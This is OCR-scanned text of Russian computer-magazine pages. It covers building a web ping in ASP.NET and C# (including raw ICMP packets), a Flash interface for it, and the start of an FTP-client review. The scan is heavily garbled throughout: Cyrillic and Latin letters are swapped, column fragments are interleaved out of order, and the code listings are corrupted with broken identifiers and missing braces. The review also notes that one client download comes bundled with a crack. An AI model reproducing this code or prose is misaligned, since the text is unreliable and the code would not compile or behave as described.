знака | соответствует записи IP- 
адреса, а правая - записи домен- 
ного имени. Дополнительную ин- 
фу по регулярным выражениям 
(книги, мануалы и пр.) настоя- 
тельно рекомендую читать, а не 
пролистывать, ибо это очень 


мощная штука. 


ТЕЛО 
Осталось прописать А$РХ-кноп- 
ку, при нажатии на которую бу- 
дет, собственно, и происходить 
все действо. В атрибут "OnClick” 
вписываем имя процедуры, ответ- 
ственной за обработку и вывод 
данных (у меня "4о_Ртд”). Зак- 
рываем теги и идем далее. Те- 
перь добавим саму процедуру-об- 
работчик нажатия кнопки. Сей 
грандиозный код следует запих- 
нуть в заголовок НТМЕ-докумен- 
та между тегами <script langua- 
ge="C#" runat="server"> и 
</script>. Наша процедура 
"ао_Ртд” имеет два аргумента: 


датор в форме проверяет данные 
только на соответствие формату 
ххх.ххх.ххх.ххх и не учитывает, 
что каждое из чисел ххх не мо- 
жет быть больше 255). 

Сделаем это немедленно. Для 
этого снова на помощь приходят 
регулярные выражения. 
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Создаем новый экземпляр клас- 
са "Regex" - класса для работы с 
регулярными выражениями. Нам 
нужно отделить |P-agpeca BO BBO- 
димых данных. Для этой цели 
подходит регулярное выражение 
(\d{1,3}.){3}(\d{1,3)) {1}, которое за- 
писываем как параметр при вызо- 
ве конструктора класса "Regex". 
Далее ищем соответствие фор- 
мату (метод "Match”) и, если оно 
найдено (то есть введенный текст 
- |P-agpec), проверяем правиль- 
ность IP-agpeca, перехватывая 
исключение при вызове метода 
"|PAddress.Parse(string addr)”. 
Этот метод преобразует строко- 
вую запись 1Р-адреса в экзем- 
пляр класса “IPAddress”. Если 
при этом строка “addr” имеет не- 
правильный формат, то возника- 
ет исключение "Гогта{Ехсер- 
tion”, и мы записываем в метку [3 
сообщение об ошибке и прекра- 
щаем выполнение процедуры. 

Ну а если все нормально, то 
приступаем к непосредственному 
пингованию. Для этого сначала 
будем использовать стандартную 
виндовскую прогу ping.exe, нахо- 
дящуюся в каталоге "%Syste- 
mRoot%\system32\". Наша цель 
состоит в том, чтобы запустить 
данный программный продукт и 
перенаправить его вывод с кон- 


соли (с экрана) на нашу страни- 
цу. Чтобы это сделать, создаем 
новый экземпляр класса "Рго- 
cess” (это будет новый процесс, 
который мы собираемся запу- 
стить). 

Справка дня: класс "Process" 
принадлежит к пространству 
имен "System.Diagnostics”. Пи- 
шем: Process р = new Process();. 
Далее надо задать свойства про- 
цесса и перенаправить его вы- 
Bog. Свойству "p.StartInfo.Us- 
eShellExecute” присваиваем 3Ha- 
чение “false”. Это нужно для того, 
чтобы не использовать шелл 
операционной системы для запу- 
ска нашего процесса. Следующее 
свойство - "p.StartInfo.Redi- 
rectStandardOutput” - указывает, 
перенаправить или нет вывод 
данного процесса со стандартно- 
го в какой-нибудь другой. Даже 
ежу по пьяни очевидней ясного, 
что нам нужно присвоить этому 
свойству значение “true”. 
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Свойство "p.Startinfo.FileName”, 
как несложно понять, задает имя 
файла того приложения, которое 
мы хотим запустить. Ну и, нако- 
нец, свойству "“p.StartInfo.Argu- 
ments” присваиваем значение 
адреса плюс параметр "-п 1". Это 
параметр пинга, который устана- 
вливает число посылаемых эхо- 
запросов, в данном случае будет 
послан один запрос. После этого 
запускаем процесс с помощью 
метода "p.Start()” и записываем в 
метку [2 вывод программы “ping”, 
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Цель состоит 
в том, чтобы 
запустить 
данный про- 
граммный 
продукт и пе- 
ренаправить 
его вывод с 
консоли (с 
экрана) 

на нашу 
страницу. 


Зачем это 
может быть 
нужно, ре- 
шишь сам на 
досуге за ча- 
шкой пива... 
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...настоль- 
ко удобно, 
что ведет 
практиче- 
ски к пол- 
ному рас- 
слабле- 
нию... 


Если ис- 
пользо- 
вать прогу 
отдельно 
от нашей 
ASP.NET- 
страницы, 
то провер- 
ку форма- 
тов прове- 
сти нужно 
обяза- 
тельно! 
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который считываем при помощи 
метода "p.StandardOutput.ReadTo- 
End()". 

После этого закрываем процесс, 
смело юзая метод "p.WaitForE- 
xitQ)”. Хотя в данном случае де- 
лать это не обязательно (посколь- 
ку процесс будет закрыт автома- 
тически сразу после завершения 
приема ответа на эхо-запрос), я 
рекомендую все же это делать для 
других приложений, дабы не засо- 
рять и без того не резиновую па- 
мять своей машины. Ибо... кому 
щас легко?! Наконец, надо осво- 
бодить ресурсы, занятые объек- 
том "р", с помощью метода "Dispo- 
se()". Опять же, делать это не обя- 
зательно, но полезно. Вот и все с 
обычным пингом. 


SOMETHING ELSE 

А теперь попробуем написать 
свой упрощенный вариант пинга, 
который будет выводить только 
информацию о том, получен ли от- 
вет от интересующего нас хоста 
или нет. Фактически, для получе- 
ния этой информации достаточно 
отправить хосту-адресату эхо-за- 
npoc ICMP (Internet Control Messa- 
ge Protocol, протокол для переда- 
чи различных сообщений между 
узлами, чаще всего - сообщений 
об ошибках). После этого нужно 
подождать ответа и чуть-чуть ше- 
вельнуть мозгом. На основе про- 
деланного следует сделать вывод 
о том, доступен узел или нет. Эту 
консольную программку я написал 
также Ha С#. 


Для начала создаем новый тек- 
стовый файл с именем "ртд.с$". В 
нем сначала описываем, какие 
пространства имен будут импорти- 
рованы (директива ' 'и$тд”). Им- 
портируем "System", "бу${ет.Ме{”, 
"System.Net.Sockets” и "5у- 
stem.Text.RegularExpressions”. Да- 
лее задаем свое пространство 
имен, к которому будет принадле- 
жать созданный нами класс 
"Ping". Для этого пишем после 
слова "namespace" название про- 
странства имен, например, "Си- 
stom”. Далее задаем класс "Ping”. 
В нем будет всего три статических 
метода: "checksum_ip(byte[] buf- 
Тег)", "send_echo(|PAddress ip_to, 
int timeout)" и "Main(string[] 
args)". Первый метод производит 
вычисление контрольной суммы 
для заголовка IP, второй отпра- 
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вляет эхо-запрос, а третий - это 
входная точка нашей проги. 

Для отправки запроса нам самим 
придется полностью сформиро- 
вать |Р-пакет и отправить его при 
помощью низкоуровневого соке- 
та. Структура заголовка IP, кото- 
рый нам предстоит сформировать, 
включает следующие поля (по по- 
рядку): 4 бита версии IP, 4 бита 
длины заголовка, 8 бит TOS (тип 
службы), полная длина в байтах - 
16 бит, идентификатор - 16 бит, три 


fer[O]&OxO00f)*4". После сумми- 
рования, в случае переполнения, 
прибавляем "лишние" биты к усе- 
ченному до 16 бит результату и 
находим комплиментарное допол- 
нение. 

В методе "send_echo” создаем 
низкоуровневый сокет для прото- 
кола ICMP. Задаем массив байт, 
содержащий наш 1Р-пакет без 3a- 
дания IP-agpecoB отправителя и 
получателя. После этого добавля- 
ем в массив последовательно 8 


Дальше все зависит только от твоей 
фантазии и ловкости твоих конечностей, 
то есть как всегда .). 


однобитных флага, смещение 
фрагмента данных - 13 бит, 8 бит 
TTL (время жизни), 8 бит типа 
протокола, 16-битная контрольная 
сумма заголовка, 32-битный 1Р-ад- 
рес отправителя, 32-битный |P-ag- 
рес получателя. После этого дол- 
жны идти параметры IP (необяза- 
тельно), а дальше - сами данные. 
В качестве данных запишем толь- 
ко |СМР-заголовок, включающий 
8-битный тип ICMP, 8-битный код 
ICMP, 16-битную контрольную сум- 
му ICMP. 

Понимаю внезапно постигшую 
тебя дрожь :). Расслабься, сейчас 
все немного упростим. Во-первых, 
в качестве идентификатора IP 
возьмем фиксированное число, 
во-вторых, поскольку нам нужен 
будет тип ICMP, равный 8 (эхо-за- 
прос), и код ICMP, равный O, то мы 
можем сформировать неизменяе- 
мый заголовок ICMP, подсчитав 
его контрольную сумму (это 16- 
битная комплиментарная сумма 
байт в сообщении ICMP). То есть 
получается, что единственными 
изменяемыми полями в нашем со- 
общении будут IP-agpec отправи- 
теля, IP-agpec получателя и кон- 
трольная сумма. 
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CYMMA 
Вычисление контрольной суммы 
IP будем проводить с помощью 
метода “checksum_ip”. Отличие от 
вычисления контрольной суммы 
ICMP состоит в том, что здесь 
складываются не байты, а слова 
(2 байта, если не знал). Длина за- 
головка - вторые 4 бита в заго- 
ловке IP (длина в 32-битных сло- 
вах), поэтому длину заголовка вы- 
числяем так: “int hdr_length = (buf- 


байт IP-agpecoB отправителя и по- 
лучателя. Как выделить эти байты, 
показано в листинге. 


using System; 

using System.Net; 

using System.Net.Sockets; 

using System.Text.RegularExpressions; 


namespace Custom 
public class Ping 


protected static ushort checksum_ip(by- 
te[] buffer) 
{ 
ulong cksum = 0; 
int hdr_length = (buf- 
fer[0]&0x000f)*4; 
for (int i = 0; ishdr_length;i+=2) 
cksum+=(ulong)((buffer[i]<<8)+buf- 
fer[i+1]); 
cksum = (cksum>>16)+(cksum&Oxffff); 
cksum+=(cksum>>16); 
return ((ushort)~cksum); 
} 
public static bool send_echo(IPAddress 
ip_to, int timeout) 
{ 
Socket socket = new Socket(Addres- 
sFamily.InterNetwork,SocketTy- 
pe.Raw,ProtocolType.lcmp); 
IPEndPoint ep = new IPEndPo- 
int(ip_to,0); 
byte[] data = {69,0,0,28,2,134,0,0,128,1, 
0,0, 0,0,0,0, 0,0,0,0, 8,0,176,255,1,0,70}: 
data[19] = (byte)(ip_to.Address>»24); 
data[18] = (byte)((ip_to.Ad- 
dress>>16)&0x00ff); 
data[17] = (byte)((ip_to.Ad- 
dress>>8)&0x0000ff); 
data[16] = (byte)(ip_to.Ad- 
dress&0x000000ff); 
ushort check = checksum_ip(data); 
data[10] = (byte)(check>>8); 
data[Il] = (byte)(check&0x00ff); 
socket.SendTo(data,ep): 
return (socket.Poll(timeout,SelectMo- 
de.SelectRead)): 


public static void Main(string[] address) 
{ 
IPAddress rcpt_ip = 
Regex rx = new Re- 


IPAddress.None; 


gex(@"(\d{1,3}.){3}(\d{1,3})(}") 

if (rx.Match(address[0]).Success) 
rcpt_ip = IPAddress.Parse(address[0]): 

else 
rcpt_ip = Dns.GetHostByName(address[0]).Addres- 
sList[0]; 

if (Ping.send_echo(rcpt_ip,5000000)) Console.Write- 

Ипе("Требуемый хост доступен"); 
else Console.WriteLine("Tpe6yembii хост недосту- 
пен"); 

} 
} 
} 


После этого отправляем пакет получателю и 
ждем ответа “timeout” микросекунод. 
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Процедура "Мат" получает в качестве Napa- 
метра IP-agpec или DNS-uma компа и преобра- 
зует ОМ№5-имя в IP-agpec с помощью метода 
"Dns.GetHostByName”. Я не стал проверять 
вводимые данные, так как наша ASPX-cTpaHu- 
ца уже это делает, и при обращении к проге 
из этой страницы все адреса уже должны 
быть в подходящем формате (но учти, если 
использовать прогу отдельно от нашей 
А$Р.МЕТ-страницы, то проверку форматов 
провести нужно обязательно). В конце, ис- 
пользуя метод "5еп4_еспо", посылаем запрос, 
ждем 5 секунд и пишем, доступен хост или 
нет. Осталось откомпилировать эту програм- 
му. Делается это с помощью компилятора C# 
"csc.exe” следующим образом: ' 

" (разумеется, без кавы- 
чек и при условии, что "ping.cs” лежит там 
же, гдеи "с$с.ехе", а если нет, то пишем пол- 
ный путь к файлу кода). После компиляции 
изменяем "FileName" и “Arguments” в 
А$Р.МЕТ-странице и юзаем. 


ОТДЫХАЙ! 
Наши руки не для скуки :). Как видишь, у лю- 
бой идеи всегда есть несколько реализаций - 
в нашем случае мы сотворили универсаль- 
ный консольный преобразователь (достойное 
название, не так ли? :)) и собственный веб- 
пинг. Причем все это заняло минимум време- 
ни и средств (ну, пива там всякого, чипсов). 
Что, в твоей тусе все еще не верят в важ- 
ность ASP.NET для веб-кодинга? Тогда трепе- 
щите - мы идем к вам! 
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ВСЕ ЭТИ ФИШКИ ТЫ МОЖЕШЬ ЗАКАЗАТЬ 
НА НАШЕМ САЙТЕ WWW.XAKEP.RU, 
ИЛИ ПО ТЕЛЕФОНУ: (095) 928-0360, (095) 928-6089 


ВЕБ-ТУЛЗЫ 


Как разукра- 
сить процесс 
своей дея- 
тельности 

во Flash'e, 
ты, я думаю, 
и сам в курсе. 


Что не по- 
нял - изло- 
жи в пись- 
менной фор- 
ме в двой- 
ном экземп- 
ляре. 


раде СЕЙ 


Владимир Егоров аКа Ог.МЕТ 
(vme@front.ru) 
& ilich (ilich@atrus.ru) 


ОДА ИНТЕРФЕЙСУ 


FLASH PING 


что неплохо было бы слегка пинг приукрасить. 


расивые штучки в 
нете, как это обще- 
известно, в больши- 
нстве своем красочные и отнюдь 
не статичные. 


FLASH SPEZ FX 
А что же, Kak He Flash, скажешь 
ты, может справиться с такими 
потребностями? Вот ия про то 
же. Грузим прогу 

На самом gene, дфлешка в нашем 
случае делать практически ничего 
не будет. Вся суть ее существова- 
ния сводится к организации посыл- 
ки запроса, получении ответа и вы- 
вода его пред твои светлы очи. 

Все по порядку. Для запроса 
позарез надо знать, кого пингуем 
:). Это я тебе точно говорю. Так 
вот, значит, нужно текстовое по- 
ле, у которого в параметрах текс- 
та указаны "Input text" и имя пе- 
ременной (допустим, "addr"). В 
это поле можно, и даже нужно, 
будет вводить IP-agpec или имя 
хоста пингуемого. 


Далее нужна какая-нибудь пим- 
па, ответственная за начало про- 
цесса (в принципе, можно не па- 
риться с пимпой, а отследить на- 
жатие Enter'a - будет более похо- 
же на виндовский пинг). Рисова- 
ние кнопки доверяю всецело те- 
бе, а покамест расскажу тебе про 
код, который в нее следует за- 
пихнуть. Код: 


a 
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on(press){ 


link="http://localhost/handler/ping.ashx?ad 
dress="+addr; 

_Toot.getURL(link,_blank); 

_Toot.f=1; 
} 


При нажатии мы формируем строку 
урла, где обращаемся к некоторому 
"ping.ashx" с некоторым параметром. 
Хотя этот параметр не такой уж неко- 
торый. Это не что иное, как наша 
строка с !Р-шником. Переменная "f" 
нужна, чтобы замять чуть-чуть вре- 
мя, ибо ответ получится не сразу. 

Тянуть время и выдавать ответ 
будем через клип. Он не обяза- 
тельно должен быть виден во 
время проигрывания, в него 
просто достаточно вставить ма- 
ленький скриптик: 


onClipEvent(enterFrame){ 
if(_root.f!=0){ 
_root.f=_root.f++ 


} 

if (root.f>25) { 
loadVariables("http://localhost/han- 
dler/output.txt"); 

} 


} 
onClipEvent(data){ 
И(р=="Неверный agpec!") {_root.out- 
ри{="Неправильный формат адреса"} 
else{ 
_root.output=p; 
} 
_root.f=0; 
} 


Первым genom по событию 
"enterFrame" (каждый кадр) к "1" 
плюсуется единица. Когда пере- 
менная перевалит за 24 (при 12 
кадрах в секунду это 2 секунды - 
нам хватит), грузим переменные 
их текстовика. Когда загружают- 
ся переменные, проверяем их и, 
если все ОК, выводим в тексто- 
вое поле "output". 


Не забудь, кстати, создать это 
самое динамическое поле и дать 
ему нужное имя. 


Взялся я как-то раз пинговать всех и вся. Долго пинговал, вспотел аж. Да вот только 
устал я не столько от того, что трудно это занятие, а от того, что не особо красивое с 


эстетической точки зрения. Интерфейс не катит, короче говоря. И задумал я тогда, 


МЕГАКОД 

Используем для наших целей так 
Ha3blBaembin WebHandler, кото- 
рый вызывается по HTTP с един- 
ственным параметром СЕТ - адре- 
сом тестируемого узла. После об- 
ращения этот WebHandler будет 
создавать текстовый файл с за- 
писанным в него выводом прог- 
раммы ping.exe или сообщением 
об ошибке. Создаем уже извест- 
ный нам файл "ping.ashx" (pac- 
ширение *.ashx соответствует 
„МЕТ WebHandler'y). В его начало 
пишем строку <%@ WebHandler 
Language="C#" Class="Ping"%>, 
которая говорит, что собственно 
содержит этот файл. 

После этого пишем стандартный 
раздел импорта. Импортируем 7 
пространств имен: "System", 
"System.Web", 
"System.Text.RegularExpressions" 
(для проверки адреса), 
"System.Net", 
"System.Diagnostics" (для работы 
с процессами), "System.lO" (gna 
работы с файлами и вводом-вы- 
водом данных) и "System.Text" 
(сам не дурак:))). 

Для того чтобы сделать 
WebHandler, мы должны создать 
новый класс "Ping", который pea- 
лизует интерфейс |HttpHandler, 
содержащийся в пространстве 
имен "System.Web". Интерфейс 
1НИрНап ег содержит всего одно 


свойство типа bool (IsReusable) и 
один метод 
ProcessRequest(HttpContext con- 
text), который собственно и вы- 
полняет обработку запроса. Итак, 
создаем класс "Ping" и через 
двоеточие указываем, что он 
унаследован от интерфейса 
IHttpHandler. Затем создаем поле 
IsReusable, доступное только для 
чтения и содержащее значение 
true (данная хрень указывает, 
может ли другой запрос повторно 
использовать тот же экземпляр 
WebHandler'a). 


Теперь реализуем метод 
ProcessRequest. Сначала создадим 
две переменные: "outputText" и 
"ОК". В первую засунем текстовый 
вывод :), который будет потом запи- 
сан в файл, а во вторую - показа- 
тель, все ли нормально с адресом. 
После этого получаем значение ag- 
реса для пинга из переменной соп- 
text.Request["address"]. После этого 
проверяем адрес на правильность с 
помощью регулярного выражения 
"\w+([-.]\w+)*(\.[a-z]+)+", которое 
соответствует полному доменному 
имени. Проверку IP-agpeca будем 
производить с помощью метода 
IPAddress.Parse(string address), ne- 
рехватывая возможное при вызо- 
ве этого метода исключение. Если 
с адресом все ОК, то осталось за- 
пустить процесс "ping.exe" и пере- 
направить его вывод в текстовый 
файл. 


ИНТЕГРАЦИЯ 

О том, как запустить процесс и пе- 
ренаправить его вывод, подробно 
изложено в статье про пинг через 
\М/еб-интерсфейс в этом же номере, 
так что, дабы не повторяться, скажу 
только, что надо создать экземпляр 
класса "Process". После этого ука- 
зываем путь к исполняемому сфай- 
лу, задаем параметры вызова и пе- 
ренаправляем вывод. Запускаем 
процесс, получаем ответ и закрыва- 
ем процесс. Осталось всего ничего - 
записать ответ в файл. Замечу, этот 
файл впоследствии, как известно, 
будет читаться Flash'ew, а TOT, в 
свою очередь, тоже дурак и пере- 
менные читает только из текстови- 
ков определенного формата. 


Ответ у нас содержится в пере- 
менной "outputText". Создаем 
текстовый файл с помощью ста- 
тического метода 
File.CreateText(string path), где 
path - локальный путь к создавае- 
мому файлу на сервере. Этот ме- 
тод возвращает экземпляр класса 
"StreamWriter", с помощью KOTO- 
рого мы будем записывать дан- 
ные в файл. Кстати, не забудь 
предоставить пользователю ASP- 
МЕТ право на чтение/запись в тот 
каталог, где создается сфайл, ина- 
че произойдет ошибка доступа. 


После этого методом 
sw.Write(string output) записываем 
в файл переменную "outputText" и 
после этого закрываем 
StreamWriter. Все, WebHandler, в 
принципе, готов. Обращаться к не- 
му можно из браузера, задав его 
виртуальный адрес на серваке с 
параметром "address", содержа- 
щим адрес интересующего тебя 
хоста, например, 


"http://myhost.com/handler/ping.ash 


x?address=123.123.123.123" - именно 


TO, что мы и формируем Bo Flash'e. 
Последние строки кода посвящены 
тому, что фишка getURL Bo Flash'e 
так и так вызывает отображение 
загружаемого УРЛа в окне браузе- 
ра. Что не может не огорчать. Так 
вот, окно появится. Пустое, т.к. 
отображать нечего. И появится со- 
общение, желающее закрыть окно, 
ибо безопасность в нете дремать 
не должна! 


ЕЕ 


To 


Пистинг 


<%@ WebHandler Language="C#" 
Class="Ping"%> 

using System; 

using System.Web; 

using 
System.Text.RegularExpressions; 

using System.Net; 

using System.Diagnostics; 

using System.10; 

using System.Text; 


public class Ping:IHttpHandler 
{ 
public bool IsReusable 
{ 
get {return true;} 
I 
public void 
ProcessRequest(HttpContext context) 
{ 
string outputText; 
bool OK = false; 
string address = 
context.Request["address"]; 
Regex rx = new Regex(@"\w+([- 
J\w+)*(\.[a-z]+)+"); 
if (rx.Match(address).Success) ОК = 
true; 
else try { 
IPAddress.Parse(address); 
OK = true; 
} 
catch (Exception) {OK = false;} 
if (OK) { 
Process р = new Process(); 


p.StartInfo.UseShellExecute = false; 

p.StartInfo.RedirectStandardOutput 

= true; 

p.StartInfo.FileName = 

"q:\\winnt\\system32\\ping.exe"; 

p.StartInfo.Arguments = address+" - 

in) (a 

p.Start(); 

outputText = 

"р=\""+р.5фапдагЧОири.ВеааТоЕп 

90+"\""; 

p.WaitForExitQ; 

p.Dispose(); 

} 

else outputText = "р=\"Неверный 

адрес!\""; 

FileStream fs = 
File.Create("D:\\Inetpub\\wwwroot\\Ha 
ndler\\output.txt"); 

StreamWriter sw = new 

StreamWriter(fs,Encoding.GetEncodi 

ng(1251)); 

sw.Write(outputT ext); 

sw.Close(); 

fs.CloseQ); 


context.Response.ContentType="text 
/html"; 


context.Response.Write("<html><head> 
<script 
language=\"javascript\">self.close() 
</script></head></htm|>"); 

} 

} 
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в котором дол- 
жен отобра- 
жаться файл 
"+, ashx", поя- 
вится, как ни 
тужься 


Удели особое 

внимание пра- 
вам доступа 

к текстовику! 
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ЗАЛИВАЕМ 


С УСПЕХОМ 


ОБЗОР ЛУЧШИХ ЕТР-КЛИЕНТОВ 


Скрыпников Сергей 
aka Slam 
(sergey@soobcha.org) 


сли ты уже крутой веб- 
мастер, то, я думаю, тебе 
будет интересно увидеть 
сравнительный анализ лучших, по мне- 
нию Spez-Crew, FTP клиентов, и, BO3- 
можно, ты поменяешь свой любимый 
FAR на что-нибудь более креативное :). 


ЧТО ТАКОЕ FTP 

И СЧЕМ ЕГО ЕДЯТ 

FTP (File Transfer Protocol) - протокол 

передачи файлов. FTP используется gna 

передачи файлов с одной машины на 
другую (естественно, если ты таскаешь 
болванки от своих друзей, то твои "поб- 
еги" никак нельзя назвать FTP). При ис- 
пользовании ЕТР следует помнить неко- 
торые особенности этого сервиса, прямо 
вытекающие из той операционной систе- 
мы, где он возник, - UNIX. Любой ЕТР-сер- 
вер всегда требует авторизации пользо- 
вателя. Практически каждый FTP-cepBep 
предоставляет так называемый аноним- 
ный вход (другое название этого сервиса 

- анонимный FTP). 

Теперь немного рассмотрим основ- 
ные настройки ЕТР клиентов, чтобы ты 
потом не бомбил мой мыл чайниковски- 
ми вопросами. 

1) Profile Мате - введи любое название 
профиля, например, MyCoodlSite, в 
дальнейшем ты просто выберешь дан- 
ный профиль, и тебе не придется по 
10 раз вводить одни и те же настрой- 
ки. 

2) Host Name/Address - адрес удаленно- 
го компьютера, например, ftp.ni- 
ka.dim.ru. 

3) User ID - твой логин. 

4) Password - действительно нужно по- 
ACHATb?! 

5) Connection Retry - сколько раз твой 
FTP клиент будет пытаться соединить- 
ся с сервером (я обычно ставлю 10). 

6) Network Timeout - сколько времени 
ждать ответа от сервера (30 секунд 
будет достаточно). 

7) Remote Port - порт, к которому cnegy- 
ет подключаться на сервер, по умол- 
чанию 21. 

Теперь, я думаю, ты без проблем на- 
строишь любой ЕТР клиент (об особен- 
ностях настройки я расскажу отдельно). 


Ну, а когда ты в курсе все дел, при- 
ступим непосредственно к рассмотре- 
нию ЕТР клиентов. 


CuteFTP v4.2 

Размер: 1617 Кб 

Качать: http://www.woweb.ru/cgi-bin/cata- 

log/goto.cgi?c=IN&id=1025302402&a=load 

(вместе с программой идет лякарство :)). 
Одна из лидирующих программ среди 

ЕТР клиентов. Для начала работы тебе 

достаточно нажать на кнопочку Quick 

Connect на панели инструментов либо 


| 
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aathadtilt 


Сразу после загрузки 


просто запомнить комбинацию 
[CTRL]+[F4]. В появившемся окошке 
нужно будет ввести непосредственно 
сам хост, логин, пароль и порт, по кото- 
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Настраиваем планировщик 


рому следует подключаться (по 
умолчанию - это 21). Если нажать 
Ha Settings, то ты можешь вы- 
брать, как CuteFTP должен захо- 
дить на сервер: анонимно или 
нормально. Что не понравилось 
при работе, так это невозмож- 
ность загружать файлы в фоно- 
вом режиме :(. Хотя и для такой 
проблемы есть решение - просто 
запусти несколько копий про- 
граммы, и все станет прекрасно. 
Ты можешь давать указания 
программе таким образом, чтобы 
она либо сразу их выполняла, ли- 
бо ставила в специальную оче- 


ГУУ oer eee ee Е 


редь и потом, когда ты полностью 
определишься со списком задач, 
начинала их выполнять. По окон- 


чании заливки файлов прога мо- 
жет разорвать соединение, зак- 
рыть сама себя, разорвать связь 
с Internet, выключить компьютер 
(очень удобно, когда ты настраи- 
ваешь программу, чтобы она за- 
ливала файло на твой сайт, а сам 
идешь спать) или закончить рабо- 
ту текущего пользователя. Очень 
полезной возможностью CuteFTP 
является возможность передачи 
файлов между двумя серверами 
без скачивания файлов к себе на 
винт, то есть ты просто открыва- 
ешь две копии программы и с од- 
ного окошка мышью перетаскива- 
ешь файл в другое. Все осталь- 
ное сделается без твоего вмеша- 
тельства, только учти - чтобы 
заюзать такую фичу, необходимо, 
чтобы оба сервера поддерживали 
такой способ передачи файла. 
Если во время заливки у тебя ра- 
зорвалось соединение с Интерне- 
том (ты ведь Ha Dial-Up’e сидишь, 
да?), то после его возобновления 
файлы начнут докачиваться сами. 

Ты часто обновляешь инфу на 
своем сайте? Тогда тебе поможет 
такая возможность, как сравне- 
ние удаленного каталога с твоим 
- локальным. 

Система Smart Keep Alive (SKA) 
позволяет надуть FTP-cepBep и 
не позволить ему оборвать сое- 
динение из-за отсутствия каких- 


Как выглядит для ЕТР-сервера? 


Для указания какого-либо ресурса в Сети используется URL (Uni- 
form Resource Locator) - ты не раз его применял, набирая в строке 
браузера заветные слова http://www.xakep.ru... ЕТР-сервера также 
являются ресурсами сети, и для подключения к ним через WWW- 
браузер необходимо использовать несколько видоизмененную 


форму URL: 


ра:порт/путь_к_файлу 


р://имя_пользователя:пароль@адрес_ЕТР-серве- 


Для использования анонимного FTP URL выглядит намного проще: 
ftp://agpec_FTP-cepBepa/nyTb_k_qaiiny 


либо действий со стороны клиен- 
та в течение некоторого времени. 
Очень полезно, когда ты часто 
отвлекаешься от основного заня- 
тия :). Есть возможность работы с 
макросами - очень полезно, когда 
ты часто выполняешь одни и те 
же действия. С помощью CuteFTP 
можно искать файлы в сети, и, 
кстати, эта функция сделана 
очень хорошо. Как только ты по- 
пытаешься загрузить определен- 
ный файл с сервера, то прога ав- 
томатически находит такие же 
файлы, но на других серверах, и 
если Bgpyr произойдет сбой при 
заливании с определенного сер- 
вера, КутФТП переключится на 
скачивание данного файла с дру- 
гого сервака. 


Итог: 5. Подойдет любому - и 
новичку, и профи. 


Total Commander v5.51. 
Размер: 1365 Кб. 
Качать: ftp://ftp.planetmirror.com/ 
pub/winsite/winxp/dsku- 
til/tcmd551.exe 

Для начала работы со встро- 
енным ЕТР клиентом достаточно 
нажать [CTRL]+[F]. Теперь жми 
New Connection и в появившем- 
ся окне вводи необходимые дан- 
ные, как TO: Session - название 
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сессии (сделано gna того, чтобы 
ты по двадцать пять раз не вво- 
дил одну и ту же инфу, можешь 
вводить что душе угодно, напри- 
мер, MyPornoServer ;)); Host na- 
me(:Port) - непосредственно Ha3- 
вание сервера, куда мы будем 
заливать файло, через двоето- 
чие можно указать порт, если он 
отличается от стандартного. Ду- 
маю, объяснять, что вводить в 
User name и в Password не стоит; 
Remote dir - это директория, ко- 
торая будет открываться сразу 
на удаленном серваке (напри- 
мер, при частой заливке перл 
скриптов целесообразно указать 
CGI-BIN); Local dir - аналогично, 
но на твоем компьютере. Обрати 
внимание на то, что хранить па- 
роли здесь небезопасно :). Дело 


FlashXP зна- 
менит тем, что 
несмотря на 
собственную 
молодость 
умудрился 
сильно потес- 
нить ВепАМС 
уа винтах 
продвинутых 
юзеров 
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Если же ты 
нарвался на 
подобный 
FTP сервер, 
но вынужден 
оторваться, 
например, для 
прочтения 
почты, систе- 
ма $КА будет 
отправлять 
какие-нибудь 
бессмыслен- 
ные команды 
серверу. 


в том, что все эти пароли, хоть и 
не в открытом, а в зашифрован- 
ном виде хранятся в файле на- 
стройки wcx_ftp.ini, и получив 
доступ к этому файлу, чел полу- 
чает доступ ко всем твоим ЕТР- 
серверам. 


Полезная фича присутствует в 
виде синхронизации локального 
и удаленного каталогов, очень 
удобно, когда файлов много, и 
изменения происходят во многих 
их них (для заюзанья - в меню 
найди команду "синхронизиро- 
вать директории”). Также присут- 
ствуют макросы, возможность из- 
менять права доступа к файлу 
(выделяем файл, жмем [Ctrl] + 
[Enter]) или сразу к группе qan- 
лов (выделяем несколько фай- 
лов и в меню ищем команду "Из- 
менить атрибуты”). Kak и в npeg- 
ыдущей программе, ты можешь 
скачать файлы с одного сервера 
на другой без перекачки файлов 
себе на комп (очень помогает, 
когда у тебя много зеркал, и каж- 
дое нужно обновлять одновре- 
менно с другими). Кстати, заметь, 
что скорость скачивания с серве- 
ра твоего провайдера обычно 
выше, чем с других серваков; так 
вот, тут можно провернуть такую 
фишку - сначала скачиваешь 
необходимое файло на сервак к 
прову (договариваешься с адми- 
ном \ покупаешь хостинг), а по- 
том уже оттуда качаешь себе на 
комп с более высокой скоростью. 


В общем получился очень не- 
плохой встроенный ЕТР клиент, и 
если ты уже давно забил на про- 
водник и юзаешь что-то более 
продвинутое и функциональное, 
то останавливайся именно на 
этой программе. 


Итог: Если ты любишь альтер- 
нативу проводнику, то ставь ТС и 
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юзай его в качестве FTP клиента. 
4 (хор). 


АЗОМА ЕТР 1.01 
Размер: 444 Кб 
Качать: http://www.esalesbiz.com/ 
netware/download/asonaftp.exe 
Если ты хочешь сразу начать 
работать, то на правой панели 
жми "Новый сервер" либо выби- 
рай такую команду в меню. По- 
явится окошко, в котором потре- 
буется ввести необходимые дан- 
ные. Думаю, ты уже и сам дол- 
жен понимать, что и куда вво- 
дить (настройки полностью 
идентичны настройкам предыоду- 
щих программ, но еще и на рус- 
ском языке!). И твой сервер сра- 
зу добавляется в список уже су- 
ществующих, что очень и очень 
удобно. Да, кстати, серверов, 
идущих по умолчанию, прилич- 
ное количество, почти на все 
случаи жизни. Больше не буду 
тебе парить мозги, так как эта 
программа обладает возможно- 
стями всех вышеперечисленных, 
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Лидер собственной персоной 


а лишь отмечу те возможности, 
которые могут реально приго- 
диться в повседневной жизни. 

ASONA FTP поймет правильно 
адрес, даже если ты настроишь 
соединение в любом из перечи- 
сленных форматов: 
ftp.hostname.com 
ftp:// ftp.hostname.com 
user@ftp.hostname.com/folder 
ftp://user:password@ftp.hostna- 
me.com:port/folder 
ftp://user@ftp.hostna- 
me.com:port/folder 
ftp://user@ftp.hostname.com 
ftp://user@ftp.hostname.com:port 
http://ftp.hostname.com 

Иногда директории на сервере 
бывают скрыты, поэтому тебе мо- 
жет пригодиться опция измене- 
ния директории на сервере. 


Удобной функцией, на мой 
взгляд, является - drag-and-drop. 
Имеется поддержка Proxy, Fi- 
rewall, SOCKS 4, 4.5 и 5. 


Настройки программы дают 
возможность автоматически 
определить параметры переда- 
